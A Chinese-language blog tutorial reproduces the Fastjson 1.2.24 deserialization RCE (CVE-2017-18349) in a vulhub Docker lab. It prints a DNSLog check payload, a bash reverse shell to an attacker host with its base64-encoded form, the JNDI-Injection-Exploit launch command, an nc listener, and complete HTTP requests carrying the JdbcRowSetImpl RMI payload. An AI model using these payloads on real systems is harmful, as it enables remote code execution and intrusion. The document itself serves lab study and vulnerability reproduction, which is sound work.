• 【超详细】Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell(CVE-2017-18349)


    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

    超详细的网络安全笔记

    二,文件包含漏洞详解

    前言:

    看了很多别人关于漏洞复现过程,很多博客过程简洁,有的过程过于复杂,比如看到写java代码,用javac进行编译等等。所以我想写出比较详细的漏洞复现过程。

    一,漏洞介绍

    1-1 fastjson是什么

    fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了


    1-2 影响版本

    fastjson <= 1.2.24

    二,靶场搭建

    靶场主机:kali2023  192.168.31.150

    基于vulhub靶场搭建(靶场可以在github上下载或留言)

    1. ls
    2. cd vulhub-master
    3. cd fastjson
    4. cd 1.2.24-rce

     启动靶场需要dokcer环境,安装docker请参考下面这篇文章 

    docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790?spm=1001.2014.3001.5502docker装完成以后,就可以用docker命令启动靶场了(在1.2.24-rce目录下执行)

    docker-compose up -d

    可以查看一下启动的容器

    docker ps

     成功启动靶场了,把靶场镜像的 8090端口映射到了本地8090端口,浏览器进行访问

    看到此页面说明靶场搭建完毕 

    三,漏洞利用

    3-1 漏洞验证

    先用dnslog外带方式验证一下漏洞存不存在

    dnslog地址

    DNSLog PlatformDNSLog平台icon-default.png?t=N7T8http://www.dnslog.cn/

    记住给的这个域名

    然后对下面的192.168.31.150页面抓包

    源数据包如下

    修改数据包 

    请求方式GET改成POST

    加上Content-Type:application/json 请求头字段

    加请求体数据,内容如下

    1. {
    2. "a":{
    3. "@type":"java.net.Inet4Address",
    4. "val":"申请的域名"
    5. }
    6. }

    修改后的请求包如下

    1. POST / HTTP/1.1
    2. Host: 192.168.31.150:8090
    3. Pragma: no-cache
    4. Cache-Control: no-cache
    5. Upgrade-Insecure-Requests: 1
    6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
    7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    8. Accept-Encoding: gzip, deflate
    9. Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    10. Content-Type:application/json
    11. Connection: close
    12. Content-Length: 84
    13. {
    14. "a":{
    15. "@type":"java.net.Inet4Address",
    16. "val":"1ys8oo.dnslog.cn"
    17. }
    18. }

    点击发送

    再刷新dnslog页面,查看有无变化 

    发现有记录了,能收到靶场发来的内容,说明存漏洞

    3-2 getshell 

    靶场主机:kali2023  192.168.31.150

    攻击机1:kali2022  192.168.31.20

    攻击机2:kali2023 192.168.31.160

    工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    工具下载地址:

    https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0icon-default.png?t=N7T8https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

     

    3-2-1 getshell思路图解

    3-2-2 搭建JNDI服务器 

    2-1 准备反向木马

    先准备连接攻击机2的反向木马(192.168.31.160/4444)

    bash -i >& /dev/tcp/192.168.31.160/4444 0>&1
    2-2 对木马进行base64编码

    编码是常见做法,比较保险,因为目标服务器可能会对/ > & 等符号进行过滤,编码可以绕过这些问题

    推荐大家一个网站,用这个网站去编码很方便 

    Runtime.exec Payload Generater | AresX's BlogThere is no descriptionicon-default.png?t=N7T8https://ares-x.com/tools/runtime-exec

     得到了编码以后的结果为

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
     2-3 启动JNDI服务器

    把下载好的工具放到攻击机1上,启动服务器,用以下命令

    (避坑:用kali2022或以下的主机运行,由于jdk版本问题kali2023后面会报错,会出问题

    中间部分是准备编码后的木马内容,最后是攻击机1的IP地址

    JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "192.168.31.20"
    

    运行成功后如下图 ,看到的紫色的是生成的payload,过一会修改数据包的时候要用

    3-2-3 攻击机2监听端口 

    攻击机2监听4444端口等待靶场连接

    nc -lvvp 4444

    3-2-4 抓包,改包,发包

    4-1 抓包

    4-2 改包 

    请求方式GET改成POST

    加上Content-Type:application/json 请求头字段

    加请求体数据,内容如下

    (注意替换payload) 

    1. {
    2. "b":{
    3. "@type":"com.sun.rowset.JdbcRowSetImpl",
    4. "dataSourceName":"rmi://192.168.31.20:1099/j9ml3s",
    5. "autoCommit":true
    6. }
    7. }

     修改后的完整数据包如下

    1. POST / HTTP/1.1
    2. Host: 192.168.31.150:8090
    3. Pragma: no-cache
    4. Cache-Control: no-cache
    5. Upgrade-Insecure-Requests: 1
    6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
    7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    8. Accept-Encoding: gzip, deflate
    9. Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    10. Content-Type:application/json
    11. Connection: close
    12. Content-Length: 164
    13. {
    14. "b":{
    15. "@type":"com.sun.rowset.JdbcRowSetImpl",
    16. "dataSourceName":"rmi://192.168.31.20:1099/j9ml3s",
    17. "autoCommit":true
    18. }
    19. }
    3-2-5 发包

    发完以后回来查看攻击机1和攻击机2 

    攻击机1:发现靶场确实去攻击机1这里来拿木马文件了

    闭坑:如果你报了如下错误,请换个jdk版本,或者换个主机(kali2022比较合适) 

    攻击机2:发现连接成功了,既getshell了

    漏洞复现及利用过程到此结束 

    如果想复现更多常见漏洞可以看看我写的其他漏洞复现博客,超详细

    如果有疑问,有问题或者需要工具请留言

    欢迎留言技术研究,讨论

  • 相关阅读:
    【强化学习】优势演员-评论员算法(Advantage Actor-Critic , A2C)求解倒立摆问题 + Pytorch代码实战
    Linux 和 分区
    【微众银行秋招】230903三、平均值 <前缀和>
    使用jmx exporter采集kafka指标
    c高级 day2
    【管理运筹学】背诵手册(四)| 整数规划
    Pandas数据分析系列9-数据透视与行列转换
    零钱兑换问题
    EthernetIP 转MODBUS RTU协议网关连接FANUC机器人作为EthernetIP通信从站
    基于JSP的小型汽车票务管理系统
  • 原文地址:https://blog.csdn.net/m0_67844671/article/details/133350611